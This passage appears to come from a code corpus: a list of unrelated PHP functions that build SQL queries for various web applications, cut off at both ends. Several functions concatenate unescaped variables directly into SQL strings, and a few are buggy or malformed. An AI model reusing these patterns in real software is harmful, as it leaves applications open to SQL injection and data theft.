SELECT\n *\n FROM\n `modelo_medidor`\n WHERE\n 1 = 1\n \")->result_array();\n\n return $modelo_medidor;\n }", "function getRelasi()\n {\n $query = $this->db->query('SELECT * FROM `tmp_hasil` as Where `kd_gejala` = `kd_gejala` ');\n return $query->result();\n }", "public function Forum() {\n\t $this->sql .= \" UNION\t\n\t SELECT 3, forum_id, thread_id, post_id, post_subject, LEFT(post_message, \".$this->nahlad.\") as post_message, post_datestamp\tFROM `fusion_posts`\n\t\t WHERE '\".$this->a.\"' > post_datestamp AND post_datestamp > '\".$this->b.\"'\tAND post_author = '\".$this->id.\"'\n\t \";\n\t}", "public function query_employee(){\n $this->db->select('*');\n $this->db->from('hr_pic_center');\n $this->db->join('hr_section','hr_section.sec_id = hr_pic_center.pic_sec_id');\n $this->db->join('hr_position','hr_position.position_id = hr_pic_center.pic_position_id');\n $this->db->where('hr_pic_center.pic_upd','00');\n\n $employee = $this->db->get();\n return $employee;\n }", "function fmodulo(){\n\t\t$this->sentencia=\"SELECT modulo_id,modulo_nombre FROM modulo ORDER BY modulo_orden ASC\";\n\t\t$this->fsentencia();\n\t\t$this->modulo=$this->resultado;\n\t}", "public function buildSelect()\n {\n $this->query->select(\"DISTINCT(p.id),p.*,\n u.first_name as owner_first_name,u.last_name as owner_last_name,\n c.id as company_id,c.name as company_name,IF(p.id=d2.primary_contact_id, 1, 0) AS is_primary_contact\");\n\n $this->query->from(\"#__people AS p\");\n $this->query->leftJoin(\"#__people_cf as cf ON cf.person_id = p.id\");\n $this->query->leftJoin(\"#__users AS u ON u.id = p.owner_id\");\n $this->query->leftJoin(\"#__companies AS c ON c.id = p.company_id\");\n $this->query->leftJoin(\"#__deals AS d ON d.id = cf.association_id AND cf.association_type = 'deal'\");\n $this->query->leftJoin(\"#__deals AS d2 ON d2.primary_contact_id = p.id\");\n\n }", "function get_all_m_jadwal_praktek_antrian($jadwal_praktek_fk)\n {\n $where ='';\n if ($jadwal_praktek_fk!=0) {\n $where = \"AND a.jadwal_praktek_fk='$jadwal_praktek_fk'\";\n }\n $this->db->query(\" SELECT *,a.pk as id,b.nama as pasien,c.id_session_jadwal, d.metode_bayar\n FROM m_jadwal_praktek_antrian a\n LEFT JOIN m_kontak b on a.pasien_fk = b.pk\n LEFT JOIN m_jadwal_praktek c on a.jadwal_praktek_fk = c.pk \n\t\t\t\t\t\t\t\t LEFT JOIN m_metode_pembayaran d on a.metode_pembayaran_fk = d.pk\n WHERE 1=1 $where ORDER BY jadwal_praktek_fk,nomor_urut asc\")->result_array();\n\n\n /*$this->db->get('m_jadwal_praktek_antrian')->result_array();*/\n }", "function getAllKontakt($id) {\n $rechte=berechtigung(\"cp_\");\n $sql=\"select * from contacts where cp_cv_id=$id and $rechte order by cp_name,cp_givenname\";\n $rs=$GLOBALS['dbh']->getAll($sql);\n return $rs;\n}", "function getThumbInfo($imageid) { \t\n \t$sql = \"SELECT opm_products.productname, properties.property\n \t\t\tFROM opm_images\n \t\t\tLEFT JOIN opm_products ON opm_products.opm_productid = opm_images.opm_productid\n \t\t\tLEFT JOIN properties ON properties.propertyid = opm_products.propertyid\n \t\t\tWHERE opm_images.imageid = \" . $this->db->escape($imageid);\n \t\t\t\n \t$query = $this->db->query($sql);\n \t$row = $query->row();\n\t\t\n \techo $row->property .\" // \".$row->productname;\n \n }", "function getmyepics($epicOwnerID)\n {\n //$myepics = \"SELECT * from epics\";\n $myepics= \"SELECT e.*,staff.*,epics_statuses.name as epicsname,team.name as teamname\n FROM epics AS e\n LEFT JOIN epics_statuses AS epics_statuses ON epics_statuses.id = e.e_status_id\n LEFT JOIN team AS team ON team.id = e.team_id\n LEFT JOIN staff AS staff ON staff.staff_id = e.e_owner WHERE e.e_owner='\".$epicOwnerID.\"'\"; \n $myepicsresult = $this->ds->select($myepics); \n //print_r($myepicsresult);\n return $myepicsresult;\n }", "function getMatterDetailsBySlNo($sl) {\r\n\t\t\t$matterDetailQuery \t= \"select file_index, date_val, matters, note_sheet, corr_note_sheet, nst_file_address, \r\n\t\t\t\t\t\t\t\t\tcnst_file_address from document_details where sl_no=?\";\r\n\t\t\t$query\t\t\t\t= $this->pdo->prepare($matterDetailQuery);\r\n\t\t\t$slNo\t\t\t\t= array($sl);\r\n\t\t\t$query->execute($slNo);\r\n\t\t\treturn $query->fetchAll();\r\n\t\t}", "public function getMedicaments(){\n\t\t$req = \"select * from medicament order by MED_NOMCOMMERCIAL\";\n\t\t$rs = PdoGsb::$monPdo->query($req);\n\t\t$ligne = $rs->fetchAll();\n\t\treturn $ligne;\n\t}", "function get_repuestos($id_submantencion){\n\t\t$this->db->select('*');\n\t\t$this->db->From('mantenciones_subdetalles');\n\t\t $this->db->where('id_mantencion_detalles',$id_submantencion);\n\t\t$query = $this->db->get();\n\t\treturn $query->result();\n\t}", "function trainer_view_sql()\n\t{\n\t\t$view_trainer=mysqli_query($this->con,\"SELECT trainer.*,categories.c_name FROM trainer,categories where trainer.c_id=categories.c_id and trainer.status=1 order by trainer.t_id desc\");\n\t\treturn $view_trainer\t;\n\t}", "function getFoi(){\n\tglobal $conn;\n\t$result = pg_query($conn, \"SELECT feature_of_interest_name, feature_of_interest_id\n\t\t\t\t\t\t\t\tFROM feature_of_interest\n\t\t\t\t\t\t\t\tORDER BY feature_of_interest_name ASC\");\n\treturn pg_fetch_all($result);\n}", "function newskomentar_viewdetail($tbl_newskomentar){\n\t\t$sql = mysql_query(\"SELECT * FROM $tbl_newskomentar WHERE id='$id'\");\n\t\treturn $sql;\n}", "function contentjoiner($what, $from, $contenttojoin, $rid){\n\t$sql='SELECT ids.*';\n\t//everything is connected to a story\n\tif($what=='all' || $what=='stories' || ($what=='tags' && $from!='story' && $from!='comment') || ($what=='comments' && $from!='story' && $from!='comment')){\n\t\t$sql=<<<SQL\n\t\t\t$sql, stories.CreationTime AS SCreation, stories.LastActionTime AS SAction, stories.URL,\n\t\t\tstories.Title, stories.InternalLink,\tstories.TheText AS SText, stories.Extra,\n\t\t\tstories.Privacy AS SPrivacy, stories.NSFW AS SNSFW, sauth.DisplayName AS SDName, sauth.UserName AS SUName\nSQL;\n\t\tif($rid){\n\t\t\t$sql.=', svotes.Sig AS SSig';\n\t\t\tif($_SESSION['IsFollowing'])$sql.=', sfollow.following AS SF';\n\t\t}//end rid\n\t}//end all stories tags....\n\t//do the comments if we need to \n\tif($what=='all' || $what=='comments'){\n\t\t$sql=<<<SQL\n\t\t\t$sql, comments.CreationTime AS CCreation, comments.LastActionTime AS CAction, commenttext.TheText AS CText,\n\t\t\tcomments.Privacy AS CPrivacy, comments.NSFW AS CNSFW, cauth.DisplayName AS CDName, cauth.UserName AS CUName \nSQL;\n\t\tif($rid){\n\t\t\t$sql.=', cvotes.Sig AS CSig';\n\t\t\tif($_SESSION['IsFollowing'])$sql.=', cfollow.Following AS CF';\n\t\t}//end rid\n\t}//end all comments\n\n\t//We've got the initial select statememt now lets get the from information\n\t$sql.=\" FROM ($contenttojoin) AS ids \";\n\n\tif($what=='all' || $what=='stories' || ($what=='tags' && $from!='story' && $from!='comment') || ($what=='comments' && $from!='story' && $from!='comment')){\n\t\t$sql.=<<<SQL\n\t\t\tLEFT JOIN stories ON stories.ID = ids.SID\n\t\t\tLEFT JOIN users AS sauth ON sauth.ID = stories.UserID \nSQL;\n\t\tif($rid){\n\t\t\t$sql.=<<<SQL\n\t\t\t\tLEFT JOIN (SELECT *\n\t\t\t\tFROM votes\n\t\t\t\tWHERE votes.UserID = $rid AND ContentType=0) AS svotes ON svotes.ContentID = stories.ID \nSQL;\n\t\t\tif($_SESSION['IsFollowing']){\n\t\t\t\t$sql.=<<<SQL\n\t\t\t\t\tLEFT JOIN (\n\t\t\t\t\t\tSELECT FollowedID, 1 AS Following\n\t\t\t\t\t\tFROM following\n\t\t\t\t\t\tWHERE FollowerID = $rid\n\t\t\t\t\t) AS sfollow ON sfollow.FollowedID = stories.UserID \nSQL;\n\t\t\t}//end $_SESSION\n\t\t}//end rid\n\t}//end all stories\n\tif($what=='all' || $what=='comments'){\n\t\t$sql.=<<<SQL\n\t\t\tLEFT JOIN comments ON comments.ID = ids.CID\n\t\t\tLEFT JOIN users AS cauth on cauth.ID = comments.UserID\n\t\t\tLEFT JOIN commenttext ON commenttext.ID = comments.ID \nSQL;\n\t\tif($rid){\n\t\t\t$sql.=<<<SQL\n\t\t\t\tLEFT JOIN (\n\t\t\t\t\tSELECT *\n\t\t\t\t\tFROM votes\n\t\t\t\t\tWHERE votes.UserID = $rid AND ContentType=1) AS cvotes ON cvotes.ContentID = comments.ID \nSQL;\n\t\t\tif($_SESSION['IsFollowing']){\n\t\t\t\t$sql.=<<<SQL\n\t\t\t\t\tLEFT JOIN (\n\t\t\t\t\t\tSELECT FollowedID, 1 AS Following\n\t\t\t\t\t\tFROM following\n\t\t\t\t\t\tWHERE FollowerID = $rid) AS cfollow ON cfollow.FollowedID = comments.UserID \nSQL;\n\t\t\t}//end $_SESSION\n\t\t}//end rid\n\t}//end all comments\n\n\treturn $sql;\n}", "function selectFunction($primaryField,$polarityField,$textField,$tableName) {\n\t$sql=\"SELECT \" . $primaryField . \" AS ID, \" . $polarityField . \" AS field1,\" . $textField . \" AS field2 FROM \" . $tableName ;\n\treturn $sql ; \n}", "function MaterialreturnTrnsn(){\n $sql=\"SELECT * FROM INVT_T_MR_HEAD\";\n return $this->db->query($sql, $return_object = TRUE)->result_array();\n }", "function select() {\n // TODO: clb.organization_name should only be selected if a primary relationship exists.\n return \"\n contact_a.id AS contact_id,\n contact_a.last_name,\n contact_a.first_name,\n contact_a.preferred_language,\n ca.street_address as contact_street_address,\n ca.postal_code as contact_postal_code,\n ca.city as contact_city,\n cc.name as contact_country,\n email,\n phone,\n clb.organization_name\n \";\n }", "public function show()\n {\n\t $sql = DB::table('relatiemanager as r')\n\t ->select('r.*', 'r.id_rm as id')\n\t\t->get();\n\t\treturn $sql;\n\t\t \n }", "public function getFirList(){\r\n $result = $this->db->query(\"SELECT * FROM FIR ORDER BY FIR_no DESC\")->result();\r\n return $result;\r\n }", "function banner_view_sql()\n {\n \t$banner_view=mysqli_query($this->con,\"SELECT * FROM `banner` where status=1 order by id desc\");\n \treturn $banner_view;\n }", "function getListQuery()\n\t{\n\t\tglobal $jlistConfig; \n \n // Create a new query object.\n\t\t$db = $this->getDbo();\n\t\t$query = $db->getQuery(true);\n $user = JFactory::getUser();\n $groups = implode (',', $user->getAuthorisedViewLevels());\n \n\t\t// Select the required fields from the table.\n\t\t$query->select(\n\t\t\t$this->getState(\n\t\t\t\t'list.select',\n\t\t\t\t'a.file_id, a.file_title, a.file_alias, a.description, a.description_long, a.file_pic, a.images, a.price, a.release, a.file_language, a.system, '.\n 'a.license, a.url_license, a.license_agree, a.size, a.date_added, a.file_date, a.publish_from, a.publish_to, a.use_timeframe, a.url_download, a.preview_filename, '.\n 'a.other_file_id, a.md5_value, a.sha1_value, a.extern_file, a.extern_site, a.mirror_1, a.mirror_2, a.extern_site_mirror_1, a.extern_site_mirror_2, '.\n 'a.url_home, a.author, a.url_author, a.created_id, a.created_mail, a.modified_id, a.modified_date, a.submitted_by, a.set_aup_points, a.downloads, '.\n 'a.cat_id, a.changelog, a.password, a.password_md5, a.views, a.metakey, a.metadesc, a.robots, a.update_active, a.custom_field_1, '.\n 'a.custom_field_2, a.custom_field_3, a.custom_field_4, a.custom_field_5, a.custom_field_6, a.custom_field_7, a.custom_field_8, a.custom_field_9, '.\n 'a.custom_field_10, a.custom_field_11, a.custom_field_12, a.custom_field_13, a.custom_field_14, a.access, a.language, a.ordering, a.featured, '. \n 'a.published, a.checked_out, a.checked_out_time, ' .\n\t\t\t\t// use date_added if modified_date is 0\n // 'CASE WHEN a.modified_date = 0 THEN a.date_added ELSE a.modified_date END as modified, ' .\n 'a.modified_date as modified, ' .\n \t\t\t\t'a.modified_id,' .\n\t\t\t\t// use date_added if publish_from is 0\n\t\t\t\t'CASE WHEN a.publish_from = 0 THEN a.date_added ELSE a.publish_from END as publish_from,' .\n\t\t\t\t\t'a.publish_to, a.images, a.metakey, a.metadesc, a.access, ' .\n\t\t\t\t\t'a.downloads,'.' '.$query->length('a.description_long').' AS readmore'\n\t\t\t)\n\t\t);\n\n\t\t// Process an Archived Download layout\n\t\tif ($this->getState('filter.published') == 2) {\n\t\t\t// If badcats is not null, this means that the download is inside an archived category\n\t\t\t// In this case, the state is set to 2 to indicate Archived (even if the download state is Published)\n\t\t\t$query->select($this->getState('list.select', 'CASE WHEN badcats.id is null THEN a.published ELSE 2 END AS state'));\n\t\t}\n\t\telse {\n\t\t\t// Process non-archived layout\n\t\t\t// If badcats is not null, this means that the download is inside an unpublished category\n\t\t\t// In this case, the state is set to 0 to indicate Unpublished (even if the download state is Published)\n\t\t\t$query->select($this->getState('list.select', 'CASE WHEN badcats.id is not null THEN 0 ELSE a.published END AS state'));\n\t\t}\n\n\t\t$query->from('#__jdownloads_files AS a');\n \n // Join on files table.\n $query->select('aa.url_download AS filename_from_other_download');\n $query->join('LEFT', '#__jdownloads_files AS aa on aa.file_id = a.other_file_id'); \n\n\t\t// Join over the categories.\n\t\t$query->select('c.title AS category_title, c.access AS category_access, c.alias AS category_alias, c.cat_dir AS category_cat_dir, c.cat_dir_parent AS category_cat_dir_parent');\n\t\t$query->join('LEFT', '#__jdownloads_categories AS c ON c.id = a.cat_id');\n \n\t\t$query->join('LEFT', '#__users AS ua ON ua.id = a.created_id');\n\t\t$query->join('LEFT', '#__users AS uam ON uam.id = a.modified_id');\n\n // Join on user table.\n if ($jlistConfig['use.real.user.name.in.frontend']){\n $query->select('u.name AS creator');\n } else {\n $query->select('u.username AS creator');\n } \n $query->join('LEFT', '#__users AS u on u.id = a.created_id');\n \n if ($jlistConfig['use.real.user.name.in.frontend']){\n $query->select('u2.name AS modifier');\n } else {\n $query->select('u2.username AS modifier');\n } \n $query->join('LEFT', '#__users AS u2 on u2.id = a.modified_id'); \n \n // Join on license table.\n $query->select('l.title AS license_title, l.url AS license_url, l.description AS license_text, l.id as lid');\n $query->join('LEFT', '#__jdownloads_licenses AS l on l.id = a.license');\n \n // Join on ratings table.\n $query->select('ROUND(r.rating_sum / r.rating_count, 0) AS rating, r.rating_count as rating_count, r.rating_sum as rating_sum');\n $query->join('LEFT', '#__jdownloads_ratings AS r on r.file_id = a.file_id'); \n \n\t\t// Join over the categories to get parent category titles\n\t\t$query->select('parent.title as parent_title, parent.id as parent_id, parent.alias as parent_alias');\n\t\t$query->join('LEFT', '#__jdownloads_categories as parent ON parent.id = c.parent_id');\n \n // Join on menu table. We need the single download menu itemid when exist \n $query->select('menuf.id AS menuf_itemid');\n $query->join('LEFT', '(SELECT id, link, access, published from #__menu GROUP BY link) AS menuf on menuf.link LIKE CONCAT(\\'index.php?option=com_jdownloads&view=download&id=\\',a.file_id) AND menuf.published = 1 AND menuf.access IN ('.$groups.')') ;\n\n\t\t// Join to check for category published state in parent categories up the tree\n\t\t$query->select('c.published, CASE WHEN badcats.id is null THEN c.published ELSE 0 END AS parents_published');\n\t\t$subquery = 'SELECT cat.id as id FROM #__jdownloads_categories AS cat JOIN #__jdownloads_categories AS parent ';\n\t\t$subquery .= 'ON cat.lft BETWEEN parent.lft AND parent.rgt ';\n\t\t// Find any up-path categories that are not published\n\t\t// If all categories are published, badcats.id will be null, and we just use the download state\n\t\t$subquery .= ' AND parent.published != 1 GROUP BY cat.id ';\n\t\t// Select state to unpublished if up-path category is unpublished\n\t\t$publishedWhere = 'CASE WHEN badcats.id is null THEN a.published ELSE 0 END';\n \n\t\t$query->join('LEFT OUTER', '(' . $subquery . ') AS badcats ON badcats.id = c.id');\n\n\t\t// Filter by user id\n $query->where('a.created_id = '.$db->Quote($user->id)); \n \n // Filter by access level.\n\t\tif ($access = $this->getState('filter.access')) {\n\t\t\t$query->where('a.access IN ('.$groups.')');\n\t\t\t$query->where('c.access IN ('.$groups.')');\n\t\t}\n\n\t\t// Filter by published state\n\t\t$published = $this->getState('filter.published');\n\n\t\tif (is_numeric($published)) {\n\t\t\t// Use download state if badcats.id is null, otherwise, force 0 for unpublished\n\t\t\t$query->where($publishedWhere . ' = ' . (int) $published);\n\t\t}\n\t\telseif (is_array($published)) {\n\t\t\tArrayHelper::toInteger($published);\n\t\t\t$published = implode(',', $published);\n\t\t\t// Use download state if badcats.id is null, otherwise, force 0 for unpublished\n\t\t\t$query->where($publishedWhere . ' IN ('.$published.')');\n\t\t}\n \n // Filter by a single category\n $categoryId = $this->getState('filter.category_id');\n\n if (is_numeric($categoryId)) {\n $type = $this->getState('filter.category_id.include', true) ? '= ' : '<> ';\n\n $categoryEquals = 'a.cat_id '.$type.(int) $categoryId;\n $query->where($categoryEquals);\n } else { \n if (is_array($categoryId) && (count($categoryId) > 0)) {\n ArrayHelper::toInteger($categoryId);\n $categoryId = implode(',', $categoryId);\n if (!empty($categoryId)) {\n $type = $this->getState('filter.category_id.include', true) ? 'IN' : 'NOT IN';\n $query->where('a.cat_id '.$type.' ('.$categoryId.')');\n }\n } \n } \n\n\t\t// Filter by author\n\t\t$authorId = $this->getState('filter.author_id');\n\t\t$authorWhere = '';\n\n\t\tif (is_numeric($authorId)) {\n\t\t\t$type = $this->getState('filter.author_id.include', true) ? '= ' : '<> ';\n\t\t\t$authorWhere = 'a.created_id '.$type.(int) $authorId;\n\t\t}\n\t\telseif (is_array($authorId)) {\n\t\t\tArrayHelper::toInteger($authorId);\n\t\t\t$authorId = implode(',', $authorId);\n\n\t\t\tif ($authorId) {\n\t\t\t\t$type = $this->getState('filter.author_id.include', true) ? 'IN' : 'NOT IN';\n\t\t\t\t$authorWhere = 'a.created_id '.$type.' ('.$authorId.')';\n\t\t\t}\n\t\t}\n \n\t\tif (!empty($authorWhere)) {\n\t\t\t$query->where('('.$authorWhere.')');\n\t\t}\n\t\t\n\t\t// Filter by start and end dates.\n\t\t$nullDate\t= $db->Quote($db->getNullDate());\n\t\t$nowDate = $db->Quote(JFactory::getDate()->toSql()); // True to return the date string in the local time zone, false to return it in GMT.\n\n\t\t$query->where('(a.publish_from = '.$nullDate.' OR a.publish_from <= '.$nowDate.')');\n\t\t$query->where('(a.publish_to = '.$nullDate.' OR a.publish_to >= '.$nowDate.')');\n\n\t\t// Filter by Date Range or Relative Date\n\t\t$dateFiltering = $this->getState('filter.date_filtering', 'off');\n\t\t$dateField = $this->getState('filter.date_field', 'a.date_added');\n\n\t\tswitch ($dateFiltering)\n\t\t{\n\t\t\tcase 'range':\n\t\t\t\t$startDateRange = $db->Quote($this->getState('filter.start_date_range', $nullDate));\n\t\t\t\t$endDateRange = $db->Quote($this->getState('filter.end_date_range', $nullDate));\n\t\t\t\t$query->where('('.$dateField.' >= '.$startDateRange.' AND '.$dateField .\n\t\t\t\t\t' <= '.$endDateRange.')');\n\t\t\t\tbreak;\n\n\t\t\tcase 'relative':\n\t\t\t\t$relativeDate = (int) $this->getState('filter.relative_date', 0);\n\t\t\t\t$query->where($dateField.' >= DATE_SUB('.$nowDate.', INTERVAL ' .\n\t\t\t\t\t$relativeDate.' DAY)');\n\t\t\t\tbreak;\n\n\t\t\tcase 'off':\n\t\t\tdefault:\n\t\t\t\tbreak;\n\t\t}\n\n\t\t// process the filter for list views with user-entered filters\n\t\t$params = $this->getState('params');\n\n\t\tif ((is_object($params)) && ($params->get('filter_field') != 'hide') && ($filter = $this->getState('list.filter'))) {\n\t\t\t// clean filter variable\n\t\t\t$filter = JString::strtolower($filter);\n\t\t\t$hitsFilter = intval($filter);\n\t\t\t$filter = $db->Quote('%'.$db->escape($filter, true).'%', false);\n\n\t\t\tswitch ($params->get('filter_field'))\n\t\t\t{\n\t\t\t\tcase 'author':\n\t\t\t\t\t$query->where(\n\t\t\t\t\t\t'LOWER(ua.name) LIKE '.$filter.' '\n\t\t\t\t\t);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'hits':\n\t\t\t\t\t$query->where('a.downloads >= '.$hitsFilter.' ');\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'title':\n\t\t\t\tdefault: // default to 'title' if parameter is not valid\n\t\t\t\t\t$query->where('LOWER( a.file_title ) LIKE '.$filter);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// Filter by language\n\t\tif ($this->getState('filter.language')) {\n\t\t\t$query->where('a.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')');\n\t\t}\n \n // Filter by uncategorised (cat_id = 1 for 'root')\n if ($this->getState('only_uncategorised')) {\n $query->where('a.cat_id = 1');\n }\n\n // Filter by featured state\n $featured = $this->getState('filter.featured');\n\n switch ($featured)\n {\n case 'hide':\n $query->where('a.featured = 0');\n break;\n\n case 'only':\n $query->where('a.featured = 1');\n break;\n\n case 'show':\n default:\n break;\n } \n \n\t\t// Add the list ordering clause.\n $order = $this->getState('list.ordering', 'a.ordering').' '.$this->getState('list.direction', 'ASC');\n $order = str_replace('DESC DESC','DESC', $order);\n $query->order($order);\n\t\t\n\t\treturn $query;\n\t}", "function getPredictionName($prediction_id){\n $pred_name=\"\";\n $query=\"select gene_prediction_name from gene_prediction where gene_prediction_id =$prediction_id\";\n global $con;if(!$con)$con=getConnection();$result = mysql_query($query,$con);\n if($result){$numRows =mysql_numrows($result);\n if($numRows>0){ $row = mysql_fetch_assoc($result);$pred_name=$row[\"gene_prediction_name\"];}\n }\n return $pred_name;\n}", "function sql_leftJoin(){\n\t\t$dbconnection = $this->db_connect();\n\t\tif($dbconnection !=1)\n\t\t{\n\t\t\t$result=\"MySql Connection Error\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//LIST OF SELECTIONS\n\t\t\t//INSTEAD of a listOfFields I need a listOfSelections like \"db.tbl_1.fld_1\"\n\t\t\t// a_selections = array(\"db.tbl_1.fld_1\",\"db.tbl_1.fld_2\",\"db.tbl_2.fld_1\");\n\t\t\t\n\t\t\tif($this->a_fields !=\" \"){\n\t\t\t\t$a_selections = $this->arraySELECTIONS($this->db,$this->table,$this->a_fields);\n\t\t\t}else{\n\t\t\t\t$a_selections = $this->db.\".\".$this->table.\" \";\n\t\t\t}\n\t\t\t\n\t\t\tif($this->a_fields2 !=\" \"){\n\t\t\t\t$a_selections2 = $this->arraySELECTIONS($this->db2,$this->table2,$this->a_fields2);\n\t\t\t}else{\n\t\t\t\t$a_selections2 = $this->db2.\".\".$this->table2.\" *\";\n\t\t\t}\n\t\t\t\n \t\t\t$listOfSelections = $this->arrayFieldsToList($a_selections);\n\t\t\t$listOfSelections2 = $this->arrayFieldsToList($a_selections2);\n\t\t\t\n \t\t\t$sql = mysql_query(\"SELECT \".$listOfSelections.\",\".$listOfSelections2.\" FROM \".$this->db.\".\".$this->table.\" LEFT JOIN \".$this->db2.\".\".$this->table2.\" ON \".$this->db.\".\".$this->table.\".\".$this->relation.\" = \".$this->db2.\".\".$this->table2.\".\".$this->relation2.\"\");\n\t\t\t\n \t\t\t //echo(\"SELECT \".$listOfSelections.\",\".$listOfSelections2.\" FROM \".$this->db.\".\".$this->table.\" LEFT JOIN \".$this->db2.\".\".$this->table2.\" ON \".$this->db.\".\".$this->table.\".\".$this->relation.\" = \".$this->db2.\".\".$this->table2.\".\".$this->relation2.\"\");\n \t\t\t\tif (mysql_num_rows($sql) > 0) \n\t\t\t \t{\n\t\t\t \twhile ($row = mysql_fetch_assoc($sql)) \n\t\t\t \t{\n\t\t\t \t$a_data[]=$row ;\n\t\t\t \t}\n\t\t \t\t$result= $a_data;\t\n\t\t\t\t}else{\n\t\t\t\t\t$result=\"NO DATA AVAILABLE\";\n\t\t\t\t}\n\t\t}\n\t\treturn $result;\n\t\n\t}", "function portfolio_view_sql()\n\t{\n\t\t$view_port=mysqli_query($this->con,\"SELECT portfolio.*,categories.c_name FROM portfolio,categories where portfolio.c_id=categories.c_id order by portfolio.p_id desc\");\n\t\treturn $view_port;\n\t}", "public function biografi()\n {\n \n $this->db->select('*');\n $this->db->from('biografi');\n \n $query = $this->db->get();\n return $query;\n }", "private function makeSelectAndFrom()\r\n\t{\r\n\t\t// Build SQL\r\n\t\t$sql = 'SELECT ';\r\n\t\r\n\t\t// Add custom fields (subqueries)\r\n\t\tif ($this->hasCustomFields())\r\n\t\t{\r\n\t\t\t// Find custom fields\r\n\t\t\tforeach ($this->fields as $field)\r\n\t\t\t{\r\n\t\t\t\tif ($field instanceOf CustomField)\r\n\t\t\t\t{\r\n\t\t\t\t\t$sql .= '(' . $field->query . ') AS `' . $field->name . '`, ';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n\t\tif (!$this->hasForeignFields())\r\n\t\t{\r\n\t\t\tif (isset($this->selectFields))\r\n\t\t\t{\r\n\t\t\t\t// Use custom field selection\r\n\t\t\t\t$sql .= implode(', ', $this->selectFields) . ' ';\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t// Take all fields\r\n\t\t\t\t$sql .= '`'.$this->name.'`.* ';\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t$sql .= 'FROM `'.$this->name.'` ';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t// Get foreign fields\r\n\t\t\t$cols = array();\r\n\t\r\n\t\t\tif (isset($this->selectFields))\r\n\t\t\t{\r\n\t\t\t\t// Use custom field selection\r\n\t\t\t\tforeach ($this->selectFields as $field)\r\n\t\t\t\t{\r\n\t\t\t\t\t$cols[] = $field;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t// Take all fields\r\n\t\t\t\t$cols[] = 't1.*';\r\n\t\t\t}\r\n\t\r\n\t\t\t$from_sql = 'FROM `'.$this->name.'` t1 ';\r\n\t\t\t$joined = array();\r\n\t\t\t$joins = array();\r\n\t\t\t$alias_no = 2;\r\n\t\t\t$tables[] = array('table' => $this->name, 'alias' => 't1');\r\n\t\r\n\t\t\t// Iterate over fields\r\n\t\t\tforeach ($this->fields as &$field)\r\n\t\t\t{\r\n\t\t\t\t$use_alias = false;\r\n\t\r\n\t\t\t\tif ($field instanceof ForeignField)\r\n\t\t\t\t{\r\n\t\t\t\t\t// Check if foreign field should be included, if select fields were set\r\n\t\t\t\t\tif (isset($this->selectFields))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$found = false;\r\n\t\t\t\t\t\tforeach ($this->selectFields as $sel_field)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tif (str_contains($sel_field, $field->name))\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$found = true;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif (!$found)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\r\n\t\t\t\t\t// Find out what kind of join it should be (INNER or LEFT)\r\n\t\t\t\t\t$join_type = strtoupper($field->joinType);\r\n\t\r\n\t\t\t\t\t// Check if it's a join between two foreign tables\r\n\t\t\t\t\tif ($field->joinFromTable == null)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// Join between this table and other table\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t// Check if we need to make a new join\r\n\t\t\t\t\t\t$this_join = array(\r\n\t\t\t\t\t\t\t'from_table' => $this->name, \r\n\t\t\t\t\t\t\t'to_table' => $field->table,\r\n\t\t\t\t\t\t\t'from' => $field->joinFrom, \r\n\t\t\t\t\t\t\t'to' => $field->joinTo\r\n\t\t\t\t\t\t);\r\n\t\t\t\t\t\tif (!$this->CheckJoinExists($this_join, $joins))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$from_sql .= $join_type.' JOIN `'.$field->table .'` t'.$alias_no.' ON t1.`'.$field->joinFrom.'` = t'.$alias_no.'.`'.$field->joinTo.'` ';\r\n\t\t\t\t\t\t\t$joins[] = $this_join;\r\n\t\t\t\t\t\t\t$use_alias = true;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// Join between two other tables\r\n\t\r\n\t\t\t\t\t\t// Check if we need to make a new join\r\n\t\t\t\t\t\t$this_join = array(\r\n\t\t\t\t\t\t\t'from_table' \t=> $this->table_name, \r\n\t\t\t\t\t\t\t'to_table' \t\t=> $field->foreign_field->table,\r\n\t\t\t\t\t\t\t'from' \t\t\t=> $field->foreign_field->join_from, \r\n\t\t\t\t\t\t\t'to' \t\t\t=> $field->foreign_field->join_to\r\n\t\t\t\t\t\t);\r\n\t\t\t\t\t\tif (!$this->checkJoinExists($this_join, $joins)) \r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tif (($alias = $this->tableHasAlias($field->table, $tables)) !== false) \r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$from_sql .= $join_type.' JOIN `'.$field->table.'` t'.$alias_no.' ON '.$alias.'.`'.$field->joinFrom.'` = t'.$alias_no.'.`'.$field->joinTo.'` ';\r\n\t\t\t\t\t\t\t} \r\n\t\t\t\t\t\t\telse \r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t$from_sql .= $join_type.' JOIN `'.$field->table.'` t'.$alias_no.' ON `'.$field->joinFromTable.'`.`'.$field->joinFrom.'` = t'.$alias_no.'.`'.$field->joinTo.'` ';\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t$joins[] = $this_join;\r\n\t\t\t\t\t\t\t$use_alias = 